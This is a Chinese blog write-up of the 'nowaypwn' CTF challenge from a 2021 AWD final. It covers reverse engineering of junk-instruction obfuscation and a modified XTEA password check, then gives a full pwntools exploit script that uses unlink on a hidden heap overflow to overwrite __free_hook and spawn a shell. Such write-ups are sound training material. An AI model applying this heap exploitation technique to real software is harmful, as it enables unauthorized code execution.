Y7n05h 非常激动能有机会(虽然是以替补的身份)参加长安杯 2021 决赛.这是 Y7n05h 第一次参加 CTF 线下赛,因为缺少经验,Y7n05h 犯了不少错误.在本文中,Y7n05h 将复盘比赛时的行为. 同时也感谢「摸一把」战队的大师傅,指出了 Y7n05h 的指点. 在 AWD 赛制中,Y7n05h 对没有做出这道 nowaypwn 十分的遗憾.
现在就让 Y7n05h 重新审视一下这道题目,看看它究竟考察了什么吧.
warning 免责声明
本文所述 PWN 均属 CTF(Capture The Flag)参赛行为或赛前训练行为.笔者所 PWN 的对象均为 CTF 比赛或练习中平台方提供的靶机. 本文意在分享网络安全与 CTF 相关技术与技巧,共同提升实力. 请本文读者谨记相关法律法规与政策.读者需为自身行为承担相应的法律后果.笔者(Y7n05h)不为读者的行为承担责任.
基本分析 1 2 3 4 5 6 7 8 9 10 11 12 13 pwn/nowaypwn filetype: ELF64 arch : AMD64mode: 64 bits endianess: LE type : EXEC library: GLIBC(2.4)[EXEC AMD64-64] compiler: gcc((Ubuntu 5.3 .1 -14 ubuntu2) 5.3 .1 20160413 )[EXEC AMD64-64 ] RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 2 /home/admin/pwn/nowaypwn linux-vdso.so.1 (0 x00007ffc85dee000) libc.so.6 => /usr/lib/libc.so.6 (0 x00007fd505212000) /lib64/ld-linux-x86-64 .so.2 => /usr/lib64/ld-linux-x86-64 .so.2 (0 x00007fd5053fd000)
题目提供的 libc 附件的版本是 2.23-0ubuntu11.3_amd64
,SHA-1
为:eb4e85135a8dfe60c1f5bfb704b1e5cfde24a0b8
(大概是这个,文件弄乱了,Y7n05h 对此不是非常确定).
逆向工程分析 虽说这是一道 PWN 题,但在 Y7n05h 看来这道题的最重要的部分不是 PWN,而是逆向工程.本题的 PWN 部分十分简单,出题人在逆向工程部分设下了多个障碍.下面就听 Y7n05h 逐一说明.
下面是 IDA
生成的伪码.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 __int64 __fastcall sub_400BFD (unsigned int *a1) { __int64 result; int i; unsigned int v3; unsigned int v4; unsigned int v5; int v6[6 ]; unsigned __int64 v7; v7 = __readfsqword(0x28 u); v6[0 ] = 674697780 ; v6[1 ] = 422065475 ; v6[2 ] = 423118625 ; v6[3 ] = -1741216238 ; v3 = *a1; v4 = a1[1 ]; v5 = 0 ; for ( i = 0 ; i <= 31 ; ++i ) { v3 += (((v4 >> 5 ) ^ (16 * v4)) + v4) ^ (v6[v5 & 3 ] + v5); v5 -= 1640531527 ; v4 += (((v3 >> 5 ) ^ (16 * v3)) + v3) ^ (v6[(v5 >> 11 ) & 3 ] + v5); } *a1 = v3; result = v4; a1[1 ] = v4; return result; } _BOOL8 __fastcall sub_400DB8 (_BYTE *a1) { sub_400BFD(a1); return *a1 == 20 && a1[1 ] == 92 && a1[2 ] == 0xA6 && a1[3 ] == 0xD2 && a1[4 ] == 14 && a1[5 ] == 69 && a1[6 ] == 9 && a1[7 ] == 119 ; } __int64 __fastcall main (__int64 a1, char **a2, char **a3) { __int64 result; char v4[16 ]; char buf[16 ]; char v6[40 ]; unsigned __int64 v7; v7 = __readfsqword(0x28 u); sub_40091D(a1, a2, a3); puts ("Happy to see you darling!" ); puts ("Give me your name:" ); read(0 , buf, 0x10 uLL); puts ("Give me your key:" ); read(0 , v4, 0x20 uLL); puts ("Now start the game!" ); do { puts ("Input your password!:" ); read(0 , v6, 0x2C uLL); result = sub_400DB8(v6); } while ( (_DWORD)result != 1 ); return result; }
Y7n05h 在伪码中没有找到任何漏洞.
难道这是个栈题,漏洞存在于 sub_400BFD()
里面吗?
通过 IDA
插件 Findcrypt
得到 TEA_DELTA_400C64
的内容.通过搜索引擎得知 TEA
加密算法.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 uint32_t delta = 0x9e3779b9 ;void tea_encrypt (uint32_t s[2 ], const uint32_t key[4 ]) { uint32_t l = s[0 ]; uint32_t r = s[1 ]; uint32_t sum = 0 ; for (int i = 0 ; i < 32 ; ++i) { l += (((r >> 5 ) ^ (r << 4 )) + r) ^ (key[sum & 3 ] + sum); sum += delta; r += (((l >> 5 ) ^ (l << 4 )) + l) ^ (key[(sum >> 11 ) & 3 ] + sum); } s[0 ] = l; s[1 ] = r; } void tea_decrypt (uint32_t v[2 ], const uint32_t key[4 ]) { uint32_t l = v[0 ], r = v[1 ]; uint32_t sum = delta << 5 ; for (int i = 0 ; i < 32 ; i++) { r -= (((l << 4 ) ^ (l >> 5 )) + l) ^ (sum + key[(sum >> 11 ) & 3 ]); sum -= delta; l -= (((r << 4 ) ^ (r >> 5 )) + r) ^ (sum + key[sum & 3 ]); } v[0 ] = l; v[1 ] = r; }
通过,对比 tea_encrypt()
与 sub_400BFD()
,Y7n05h 认为 sub_400BFD()
就是使用 TEA
算法加密一个 64 bits 的分组的函数.
噢,或许会有读者觉得:
在 tea_encrypt()
中是:
在 sub_400BFD()
中是:
这两处不但数值不同,而且一处为加法,一处为减法,怎么能说 sub_400BFD()
和 tea_encrypt()
等价呢?
有这样的顾虑的读者,请别忘了,有符号整形采用二进制补码存储,因此减去 1640531527
也就是加上 0x9e3779b9
.
因此,Y7n05h 认为这两个函数完全等价(这个结论在当前是正确的),也就是说 sub_400BFD()
是 TEA
加密算法的一种实现,那么就能得知 sub_400BFD()
加密的内容可用 tea_decrypt()
解密.
先别急着去解密密文,别忘了这是 PWN 题,不是逆向题,那么漏洞在哪里呢?Y7n05h 并没有找到.
在紧张的 AWD 比赛中,Y7n05h 对此题没有更多的进展了.在 Y7n05h 发现自己做不出此题后,Y7n05h 决定先开始防御.Y7n05h 写出了下面的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #include <stdio.h> #include <unistd.h> int main (void ) { setvbuf(stderr , NULL , _IONBF, 0 ); setvbuf(stdin , NULL , _IONBF, 0 ); setvbuf(stdout , NULL , _IONBF, 0 ); char buf[0x50 ]; puts ("Happy to see you darling!" ); puts ("Give me your name:" ); read(0 , buf, 0x10 uLL); puts ("Give me your key:" ); read(0 , buf, 0x20 uLL); puts ("Now start the game!" ); do { puts ("Input your password!:" ); read(0 , buf, 0x2C uLL); } while (1 ); }
为了防止别的队伍 PWN 掉 Y7n05h 的靶机,Y7n05h 编译了上面的代码,替换了靶机中的程序.Y7n05h 看了看比赛平台上并未将靶机判为宕机状态,于是 Y7n05h 知道这样的改动通过了 check.(「摸一把」战队的大师傅在赛后告诉 Y7n05h 这是比赛方设置的 check 过于宽松,在多数的比赛中 check 将检查原程序与靶机上运行的程序的大小差异,差异过大不能通过 check)Y7n05h 这样的改动通过了 checks 纯属侥幸 ,请各位读者 不要 学习.
那么使用密钥(v6 的前 128 bits,也就是下面的 key
):
1 2 3 4 5 uint32_t key[4 ] = {0x28371234 , 0x19283543 , 0x19384721 , 0x98372612 };
解密密文分组:
1 uint8_t message[9 ] = {0x14 , 0x5c , 0xa6 , 0xd2 , 0x0e , 0x45 , 0x09 , 0x77 };
通过 pwntools
将得到的明文分组,在程序中输入,得到密码输入错误的提示.
Y7n05h 尝试提取 sub_400BFD()
的伪码修改并编译,输入上面获得的明文分组和密钥,成功的得到了密文分组. Y7n05h 又去尝试使用 gdb 追踪 sub_400BFD()
的解密过程,发现 sub_400BFD()
结束后,得到了不同于预期的密文分组.
这真是一件令 Y7n05h 感到费解的事!使用 tea_decrypt()
解密密文得到的明文,输入至 tea_encrypt()
或 IDA 中复制出的 sub_400BFD()
能得到相同的密文分组,但若输入至 nowaypwn 程序中,则能得到异于前面的 tea_encrypt()
的输出的密文分组.
这真是奇怪!Y7n05h 开始思考是不是 sub_400BFD()
中是不是存在 C 语言中的 Undefined Behavior
导致了不同的执行结果.
就在 Y7n05h 试图对比通过编译 sub_400BFD()
伪码得到的汇编代码与反汇编 nowaypwn
得到的汇编代码时,发现:
1 2 3 4 .text:0000000000400CF2 call $+5 .text:0000000000400CF7 add [rsp+58h+var_58], 6 .text:0000000000400CFC retn .text:0000000000400CFC sub_400BFD endp ; sp-analysis failed
IDA
的报错是因为这里存在花指令,Y7n05h 在这里贴出的部分全都是用于干扰反汇编、反编译工具的花指令,有兴趣知道这些指令为什么能干扰反汇编、反编译工具的读者可以通过 GDB
追踪这三个指令的执行.
通过 IDA
的 patch
功能将这些花指令改为 nop
,然后使用 IDA 重新分析程序即可得到完整的 sub_400BFD()
伪码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 unsigned __int64 __fastcall sub_400BFD (unsigned int *a1) { int i; int j; unsigned int v4; unsigned int v5; unsigned int v6; unsigned int v7; unsigned int v8; unsigned int v9; unsigned int v10; unsigned int v11; int v12[6 ]; unsigned __int64 v13; v13 = __readfsqword(0x28 u); v10 = *a1; v11 = a1[1 ]; v12[0 ] = 674697780 ; v12[1 ] = 422065475 ; v12[2 ] = 423118625 ; v12[3 ] = -1741216238 ; v4 = *a1; v6 = a1[1 ]; v8 = 0 ; for ( i = 0 ; i <= 31 ; ++i ) { v4 += (((v6 >> 5 ) ^ (16 * v6)) + v6) ^ (v12[v8 & 3 ] + v8); v8 -= 1640531527 ; v6 += (((v4 >> 5 ) ^ (16 * v4)) + v4) ^ (v12[(v8 >> 11 ) & 3 ] + v8); } *a1 = v4; a1[1 ] = v6; v5 = v10; v7 = v11; v9 = 0 ; for ( j = 0 ; j <= 8 ; ++j ) { v5 += (((v7 >> 5 ) ^ (16 * v7)) + v7) ^ (v12[v9 & 3 ] + v9); v9 += 0x19286521 ; v7 += (((v5 >> 5 ) ^ (16 * v5)) + v5) ^ (v12[(v9 >> 11 ) & 3 ] + v9); } *a1 = v5; a1[1 ] = v7; return __readfsqword(0x28 u) ^ v13; }
通过分析这段伪码就能发现,TEA
算法生成的密文分组并未被使用,程序中真正使用的是另一个加密算法.最终,可知这是 XTEA
算法. 这是 Y7n05h 通过搜索找到的 XTEA
算法实现.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 #include <stdint.h> #define delta 0x9E3779B9U void encrypt (unsigned int num_rounds, uint32_t v[2 ], uint32_t const key[4 ]) { uint32_t v0 = v[0 ], v1 = v[1 ], sum = 0 ; for (int i = 0 ; i < num_rounds; i++) { v0 += (((v1 << 4 ) ^ (v1 >> 5 )) + v1) ^ (sum + key[sum & 3 ]); sum += delta; v1 += (((v0 << 4 ) ^ (v0 >> 5 )) + v0) ^ (sum + key[(sum >> 11 ) & 3 ]); } v[0 ] = v0; v[1 ] = v1; } void decrypt (unsigned int num_rounds, uint32_t v[2 ], uint32_t const key[4 ]) { uint32_t v0 = v[0 ], v1 = v[1 ], sum = delta * num_rounds; for (int i = 0 ; i < num_rounds; i++) { v1 -= (((v0 << 4 ) ^ (v0 >> 5 )) + v0) ^ (sum + key[(sum >> 11 ) & 3 ]); sum -= delta; v0 -= (((v1 << 4 ) ^ (v1 >> 5 )) + v1) ^ (sum + key[sum & 3 ]); } v[0 ] = v0; v[1 ] = v1; }
通过对比能确认这里使用的算法就是修改了 delta
常量的 XTEA
算法.
其实不但这里(0x400CF2
)有花指令,在 0x400EEE
、0x400B44
也有花指令,patch 掉这些花指令之后,使用 IDA 重新生成伪码,就能清晰的看到漏洞所在:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ssize_t Edit () { ssize_t result; unsigned __int64 Idx; Idx = get_Idx(); if ( Idx > 0x10 || !Arr[2 * Idx] || !Size[2 * Idx] ) exit (0 ); read(0 , Arr[2 * Idx], Size[2 * Idx]); result = Size[2 * Idx]; if ( result == 0x66 ) return read(0 , Arr[2 * Idx], 0x80 uLL); return result; }
这里的溢出过于刻意,相信所有人在 patch 掉这些花指令之后都能十分容易的发现这里的漏洞.
漏洞利用 在得到完整的伪码后,就能知道,本题目使用的加密算法是修改了常数的 XTEA
算法.修改 XTEA
的解密算法的常数后,解密得到:skdmaje1
.
根据伪码写出:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import *context(log_level='debug' , os='linux' , arch='amd64' ) path = '/home/admin/pwn/nowaypwn' libcpath = '/home/admin/pwn/libc.so.6' libc = ELF(libcpath) elf = ELF(path) r = process(path) passwd = b'skdmaje1' r.sendafter(":\n" , b'123' ) r.sendafter(":\n" , b'123' ) r.sendafter(":\n" , passwd) def up6 (addr_port: bytes ): log.debug("get bytes" +addr_port.hex ()) recvlen = len (addr_port) log.debug("recv len " +hex (recvlen)) assert (recvlen == 6 ) return u64(addr_port.ljust(8 , b"\x00" )) def i2b (n: int , Hex: bool = False ): return bytes (hex (n) if Hex else str (n), encoding="ascii" ) def Alloc (size: int ): r.sendline(b'1' ) r.sendline(i2b(size)) def Delete (idx: int ): r.sendline(b'2' ) r.sendline(i2b(idx)) def Edit (idx: int , content: bytes ): r.sendline(b'3' ) r.sendline(i2b(idx)) r.send(content) def Show (idx: int ): r.sendline(b'4' ) r.sendline(i2b(idx)) def Get_pr (idx: int ): return 0x6020C0 +idx*0x10
由于本题并未开启 PIE
,Y7n05h 选择使用 Unlink
去完成本题目.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 Alloc(0x30 ) Alloc(0x30 ) Alloc(0x66 ) Alloc(0x100 ) Alloc(0x10 ) Edit(0 , b'/bin/sh\x00' ) Edit(2 , cyclic(0x66 )) chunk2_pr = Get_pr(2 ) payload = flat(0 , 0x21 , chunk2_pr-0x18 , chunk2_pr - 0x10 , 0x20 ).ljust(0x60 )+flat(0x60 , 0x110 ) r.send(payload) Delete(3 ) payload = flat(8 , elf.got['puts' ], 0x8 , Get_pr(1 ), 8 ) Edit(2 , payload) r.send(p64(elf.got['puts' ])) Show(1 ) puts_addr = up6(r.recv(6 )) libc_base = puts_addr-libc.symbols['puts' ] free_hook_addr = libc.symbols['__free_hook' ]+libc_base system_addr = libc.symbols['system' ]+libc_base payload = p64(free_hook_addr) Edit(2 , payload) Edit(1 , p64(system_addr)) Delete(0 ) r.interactive()
因为本题的 PWN 部分十分简单,Y7n05h 就不解释 exp 的每行的作用了.
最后,再次感谢「摸一把」战队的大师傅,Y7n05h 在比赛中没找到漏洞点,有花指令隐藏了漏洞点是 Y7n05h 赛后从「摸一把」战队的大师傅那里得知的.